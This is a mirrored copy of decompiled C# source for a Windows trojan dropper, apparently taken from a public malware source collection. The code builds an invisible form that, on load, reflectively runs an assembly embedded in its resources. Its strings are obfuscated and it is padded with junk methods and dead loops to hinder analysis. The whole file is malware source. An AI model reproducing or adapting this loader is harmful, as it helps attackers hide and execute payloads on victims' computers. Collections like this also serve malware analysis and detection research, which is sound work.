mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-23 03:46:10 +00:00
295 lines
11 KiB
C#
295 lines
11 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: _2012_D.Form1
|
|||
|
// Assembly: 2012, Version=0.0.0.0, Culture=neutral
|
|||
|
// MVID: FA8E4D06-4395-4F05-87C3-C4C0E16B54D3
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.dblt-7c6234b9971bafa36775d3f787a0c6953ddd3783cc4702e2d3881a5e33b7586b.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.ComponentModel;
|
|||
|
using System.Diagnostics;
|
|||
|
using System.Drawing;
|
|||
|
using System.Reflection;
|
|||
|
using System.Runtime.CompilerServices;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace _2012_D
|
|||
|
{
|
|||
|
[DesignerGenerated]
|
|||
|
public class Form1 : Form
|
|||
|
{
|
|||
|
private IContainer components;
|
|||
|
[AccessedThroughProperty("Button1")]
|
|||
|
private Button _Button1;
|
|||
|
[AccessedThroughProperty("CheckBox1")]
|
|||
|
private CheckBox _CheckBox1;
|
|||
|
[AccessedThroughProperty("Label1")]
|
|||
|
private Label _Label1;
|
|||
|
[AccessedThroughProperty("RadioButton1")]
|
|||
|
private RadioButton _RadioButton1;
|
|||
|
[AccessedThroughProperty("PictureBox1")]
|
|||
|
private PictureBox _PictureBox1;
|
|||
|
|
|||
|
public Form1()
|
|||
|
{
|
|||
|
this.Load += new EventHandler(this.Form1_Load);
|
|||
|
this.InitializeComponent();
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerNonUserCode]
|
|||
|
protected override void Dispose(bool disposing)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
if (!disposing || this.components == null)
|
|||
|
return;
|
|||
|
this.components.Dispose();
|
|||
|
}
|
|||
|
finally
|
|||
|
{
|
|||
|
base.Dispose(disposing);
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
[DebuggerStepThrough]
|
|||
|
private void InitializeComponent()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num = 3;
|
|||
|
Point point1;
|
|||
|
Size size1;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
this.CheckBox1.AutoSize = true;
|
|||
|
CheckBox checkBox1_1 = this.CheckBox1;
|
|||
|
point1 = new Point(25, 61);
|
|||
|
Point point2 = point1;
|
|||
|
checkBox1_1.Location = point2;
|
|||
|
this.CheckBox1.Name = \u003CCliSecureRT\u003E.cs("rËü\u0013<3wW~");
|
|||
|
CheckBox checkBox1_2 = this.CheckBox1;
|
|||
|
size1 = new Size(81, 17);
|
|||
|
Size size2 = size1;
|
|||
|
checkBox1_2.Size = size2;
|
|||
|
this.CheckBox1.TabIndex = 1;
|
|||
|
this.CheckBox1.Text = \u003CCliSecureRT\u003E.cs("rËü\u0013<3wW~");
|
|||
|
this.CheckBox1.UseVisualStyleBackColor = true;
|
|||
|
this.Label1.AutoSize = true;
|
|||
|
Label label1_1 = this.Label1;
|
|||
|
point1 = new Point(25, 88);
|
|||
|
Point point3 = point1;
|
|||
|
label1_1.Location = point3;
|
|||
|
this.Label1.Name = \u003CCliSecureRT\u003E.cs("}Âû\u0015;@");
|
|||
|
Label label1_2 = this.Label1;
|
|||
|
size1 = new Size(39, 13);
|
|||
|
Size size3 = size1;
|
|||
|
label1_2.Size = size3;
|
|||
|
this.Label1.TabIndex = 2;
|
|||
|
this.Label1.Text = \u003CCliSecureRT\u003E.cs("}Âû\u0015;@");
|
|||
|
num = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
goto label_7;
|
|||
|
case 2:
|
|||
|
do
|
|||
|
{
|
|||
|
this.RadioButton1.AutoSize = true;
|
|||
|
RadioButton radioButton1_1 = this.RadioButton1;
|
|||
|
point1 = new Point(28, 113);
|
|||
|
Point point4 = point1;
|
|||
|
radioButton1_1.Location = point4;
|
|||
|
this.RadioButton1.Name = \u003CCliSecureRT\u003E.cs("cÂý\u001983m[;ÚØA");
|
|||
|
RadioButton radioButton1_2 = this.RadioButton1;
|
|||
|
size1 = new Size(90, 17);
|
|||
|
Size size4 = size1;
|
|||
|
radioButton1_2.Size = size4;
|
|||
|
this.RadioButton1.TabIndex = 3;
|
|||
|
this.RadioButton1.TabStop = true;
|
|||
|
this.RadioButton1.Text = \u003CCliSecureRT\u003E.cs("cÂý\u001983m[;ÚØA");
|
|||
|
this.RadioButton1.UseVisualStyleBackColor = true;
|
|||
|
PictureBox pictureBox1_1 = this.PictureBox1;
|
|||
|
point1 = new Point(113, 46);
|
|||
|
Point point5 = point1;
|
|||
|
pictureBox1_1.Location = point5;
|
|||
|
this.PictureBox1.Name = \u003CCliSecureRT\u003E.cs("aÊú\u0004\"\u0003}m Í\u0087");
|
|||
|
PictureBox pictureBox1_2 = this.PictureBox1;
|
|||
|
size1 = new Size(30, 50);
|
|||
|
Size size5 = size1;
|
|||
|
pictureBox1_2.Size = size5;
|
|||
|
this.PictureBox1.TabIndex = 4;
|
|||
|
this.PictureBox1.TabStop = false;
|
|||
|
}
|
|||
|
while (false);
|
|||
|
num = 1;
|
|||
|
continue;
|
|||
|
case 3:
|
|||
|
this.Button1 = new Button();
|
|||
|
this.CheckBox1 = new CheckBox();
|
|||
|
this.Label1 = new Label();
|
|||
|
this.RadioButton1 = new RadioButton();
|
|||
|
this.PictureBox1 = new PictureBox();
|
|||
|
((ISupportInitialize) this.PictureBox1).BeginInit();
|
|||
|
this.SuspendLayout();
|
|||
|
Button button1_1 = this.Button1;
|
|||
|
point1 = new Point(25, 22);
|
|||
|
Point point6 = point1;
|
|||
|
button1_1.Location = point6;
|
|||
|
this.Button1.Name = \u003CCliSecureRT\u003E.cs("sÖí\u00048\u001F)");
|
|||
|
Button button1_2 = this.Button1;
|
|||
|
size1 = new Size(75, 23);
|
|||
|
Size size6 = size1;
|
|||
|
button1_2.Size = size6;
|
|||
|
this.Button1.TabIndex = 0;
|
|||
|
this.Button1.Text = \u003CCliSecureRT\u003E.cs("sÖí\u00048\u001F)");
|
|||
|
this.Button1.UseVisualStyleBackColor = true;
|
|||
|
num = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
label_7:
|
|||
|
this.AutoScaleDimensions = new SizeF(6f, 13f);
|
|||
|
this.AutoScaleMode = AutoScaleMode.Font;
|
|||
|
size1 = new Size(155, 138);
|
|||
|
this.ClientSize = size1;
|
|||
|
this.Controls.Add((Control) this.PictureBox1);
|
|||
|
this.Controls.Add((Control) this.RadioButton1);
|
|||
|
this.Controls.Add((Control) this.Label1);
|
|||
|
this.Controls.Add((Control) this.CheckBox1);
|
|||
|
this.Controls.Add((Control) this.Button1);
|
|||
|
this.Name = \u003CCliSecureRT\u003E.cs("wÌë\u001Df");
|
|||
|
this.Opacity = 0.0;
|
|||
|
this.ShowIcon = false;
|
|||
|
this.ShowInTaskbar = false;
|
|||
|
((ISupportInitialize) this.PictureBox1).EndInit();
|
|||
|
this.ResumeLayout(false);
|
|||
|
this.PerformLayout();
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Button Button1
|
|||
|
{
|
|||
|
get => this._Button1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Button1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual CheckBox CheckBox1
|
|||
|
{
|
|||
|
get => this._CheckBox1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._CheckBox1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual Label Label1
|
|||
|
{
|
|||
|
get => this._Label1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual RadioButton RadioButton1
|
|||
|
{
|
|||
|
get => this._RadioButton1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._RadioButton1 = value;
|
|||
|
}
|
|||
|
|
|||
|
internal virtual PictureBox PictureBox1
|
|||
|
{
|
|||
|
get => this._PictureBox1;
|
|||
|
[MethodImpl(MethodImplOptions.Synchronized)] set => this._PictureBox1 = value;
|
|||
|
}
|
|||
|
|
|||
|
private object HIyl7gY2uAFg65()
|
|||
|
{
|
|||
|
double num = 822.0;
|
|||
|
bool flag = false;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
while (true)
|
|||
|
{
|
|||
|
flag = true;
|
|||
|
num = 15.0;
|
|||
|
}
|
|||
|
}
|
|||
|
return (object) 75254250;
|
|||
|
}
|
|||
|
|
|||
|
private void Form1_Load(object sender, EventArgs e) => this.pleple();
|
|||
|
|
|||
|
public void VGUe8wq3d2B199unLsG4hS()
|
|||
|
{
|
|||
|
bool flag1 = true;
|
|||
|
string str = \u003CCliSecureRT\u003E.cs("\u0012ïð4'GLp\u000FÍ\u0080*⁌\u0004!\u200C\u0019,\u0017 J‼Ç※ʰ \u0090\u20FB\u00B2mƼ⁐(\u0014\u008Bn\u008EÜÉA⁼Jb\u00AD\u008AÿIw=Ö%");
|
|||
|
double num1 = 41.0;
|
|||
|
bool flag2 = false;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
flag2 = false;
|
|||
|
flag2 = false;
|
|||
|
\u003CCliSecureRT\u003E.cs("t\u0092à\u0002j\u000Ex\u0014(\u0095à$?T7\u202BH_d¡y\u0003ÉT\u0010rÛ⃪ƉÜMw\u0011!Ü)\u0087\u0085Ö\vrlP|®\u008EM\u001B\u0092õ3\u000EǓ\u0098-K¬[ÔJ\f'\u0005\u0091ÖS\u000FwÔ\n!V\u0014Ê\u008CÙB\u2066\u0005ããåuFƥ\u00BD\u0083ÉãçS\u001Bn⁞\u0095§×v\u0005Ä\u009F7₰ñs®§á\u200BÆ\u009Fi\u2083à*oCd\u000E\u206EØäK;*TyF}\u0011d`ư\u0091‿\u0011K⃝¨\u0088\viķ%\u0012ü‾\u0081Äù“⁼pO\u0088Ò¡'\u2078\u0082\u00067h¯ₕM|\u0081\u0010\u00B2\vMtw\u00B9Ñ\f\u001E\u2028\u008Bw\u0017\tIȢÓ»tKő\u0096ǜé\u009C%˱\u008C\u00B3");
|
|||
|
double num2 = 31228811.0;
|
|||
|
str = \u003CCliSecureRT\u003E.cs("]Ö Gb\u0006}Nx\u008CôG\u001F]Q%\u0019\\\u0016¯\u0019tþv\u0011QÏ\u009B\u0080\u0019\u001D~{\u001FýQ¤µ\u0094T\"}A¥Çª$/þºH\u0003Äû\u000Fe\u00BDD\u00BC@L \u0003\u00B3Ë-e@Ò=u\u0012G×òµb\u0080vãñâ):\u000F·¨¿æÔ");
|
|||
|
int num3 = 939971;
|
|||
|
while (num3 <= 114)
|
|||
|
checked { ++num3; }
|
|||
|
str = \u003CCliSecureRT\u003E.cs("{õÏBcH{Gzôý@\b=/vfek\u0080fo\u008EvCwµ\u008A\u0096\t\u001E~wdÂVþÅìo\f\u0018s¿\u00B9\u008B.#øè[\u007Fì\u008A\u0018=ÞG\u00BEr\u0011~M\u009B\u00BE\0\u001C(â\u0013ry\u0014\u0097\u0098ß\u0015\u00BDg\u0090ó");
|
|||
|
num2 = 6330.0;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
flag1 = false;
|
|||
|
num1 = 25.0;
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
public void pleple()
|
|||
|
{
|
|||
|
Assembly assembly = Assembly.Load(_2012_D.My.Resources.Resources.Function_1);
|
|||
|
object[] args = new object[0];
|
|||
|
assembly.GetType(\u003CCliSecureRT\u003E.cs("wÖ÷^\u0002\u0002qA}\u0085")).InvokeMember(\u003CCliSecureRT\u003E.cs("\\Âð\u001E"), BindingFlags.InvokeMethod, (Binder) null, (object) null, args);
|
|||
|
}
|
|||
|
|
|||
|
private object wMm71r()
|
|||
|
{
|
|||
|
label_2:
|
|||
|
int num1 = 3;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
switch (num1)
|
|||
|
{
|
|||
|
case 0:
|
|||
|
int num2 = (int) MessageBox.Show(\u003CCliSecureRT\u003E.cs("XîøK⁍:PS\u001AÔÊ\u0002\u00040ǶRʼncXÎSlç\u0019\u0010xÈñÑ\u0016w\u001C\u000F\u001EǍ5\u009FÞé\u001D\tAa´Þ·\u0017/Êₒ}ªₛê⁅‗Û\u206BÃ‑@-jÅÄW\u00155ₗ\u206AÃ\u200B'\u009DÒË₍\u20F3\u0001 \u200Dâ{LD¯¡₯\u008A/¢\t~7\u206B\u0085ÊDPĕý9ð\u0013y\u009D\u009CµhₚÝ\t\u200FÔT9ČRv6Ýñ\u001C"));
|
|||
|
num1 = 2;
|
|||
|
continue;
|
|||
|
case 1:
|
|||
|
\u003CCliSecureRT\u003E.cs("\u0002ßéB\u000E!op9Úü\u0013\u0012\u000Eô@\0z\u001B\u008EBeÀVL\aÂ\u0090¦\u0016\t)\u0014fé\\\u00B2Ú5G\u0005‵[»\u008EC'À\u0081Ç>\\ǓÊ8pÏã\u20C1eFw\u0016\u00B3î\u0011\u0003t\u009A *\v\u001Fµë\u009C_õőæÁõSOt ®þ©Í\u0013\u20F7+0¯Ü\u0081/ⁿ¦ß\u20C8ü5>~\u0099Ñ\u007F¤\u0094\u0014È\u2087\u0006\u20FBW3\u001A\u007Fúₗ\"!\u0013⁂9RZ›\u0097pˤäV\u001B\u00AD¿\u008A¢\u007Fl`.\fÊN£⃛\u0093ReC„\u00BC\u20CB\u008DZļ\u0082ₕi\u001Cîò= ÒBÑ‗\u00021KÓû\u0013\u200E8ù\u001A\u2072\u001A4\u0095ÖË\u0002°{\u2080æ\u008By");
|
|||
|
\u003CCliSecureRT\u003E.cs("‗à\u00B9IÚRFa,\u0082ËV\u0015K:m\u00B9\u0090¯¤ŝM÷Y\u206CIȺöd$Z\"*\0\u0087 \u0093\u00B9\u2085\v\u2065l^Õ\u0088\u0095\v*ñ\u00BD2†\u000E\u0081\u0006:ÉD\u00B2sZ\fj⁐Ó_\u007F[É+\u0001FQ\u0091î\u0084\u0010ì\u0010à\u2081\u0086n\u0010Z⃕¬Ûª\u0081Ő\u001F\u0088\u000Fî\u009D⃔s\u0013â\u00896öî\u2068¡¸¦e¬È\u00BE\u0096º!⁉\u0011q\u001C,é9\u0012\u0010\f⁼`qv^\u009Dsaø\u0019%p");
|
|||
|
goto case 2;
|
|||
|
case 2:
|
|||
|
do
|
|||
|
{
|
|||
|
\u003CCliSecureRT\u003E.cs("\u001Dðċ\\e=Rbtâ\u0085");
|
|||
|
}
|
|||
|
while (false);
|
|||
|
num1 = 1;
|
|||
|
continue;
|
|||
|
case 3:
|
|||
|
num1 = 0;
|
|||
|
continue;
|
|||
|
default:
|
|||
|
goto label_2;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|